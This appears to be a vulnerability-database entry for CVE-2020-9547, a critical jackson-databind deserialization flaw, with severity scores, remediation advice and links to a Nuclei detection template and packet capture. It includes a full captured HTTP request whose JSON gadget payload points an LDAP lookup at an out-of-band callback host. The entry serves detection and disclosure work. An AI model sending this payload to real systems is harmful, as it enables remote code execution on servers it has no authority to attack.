| Title | FasterXML jackson-databind - Deserialization Remote Code Execution |
|---|---|
| Author | pranjalnegi |
| Severity | Critical |
| Impact | Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads. |
| Remediation | Update FasterXML jackson-databind to version 2.9.10.4 or later. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls. |
| CVSS Score | 9.8 |
| EPSS Score | 0.43143 |
| CVE ID | CVE-2020-9547 |
| CWE ID | CWE-502 |
| Tags | cve cve2020 jackson databind deserialization rce vkev vuln |
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Connection: close
Content-Length: 208
Content-Type: application/json
Accept-Encoding: gzip
["com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",{"properties":["java.util.Properties",{"UserTransaction":"ldap://d5jp4s9le0o4i62i3ln0r3shsu54ypxgd.oast.online/38FVbViV4g6sT3aWO46UQQOrw1e"}]}]
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9547.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9547.pcap
N/AN/A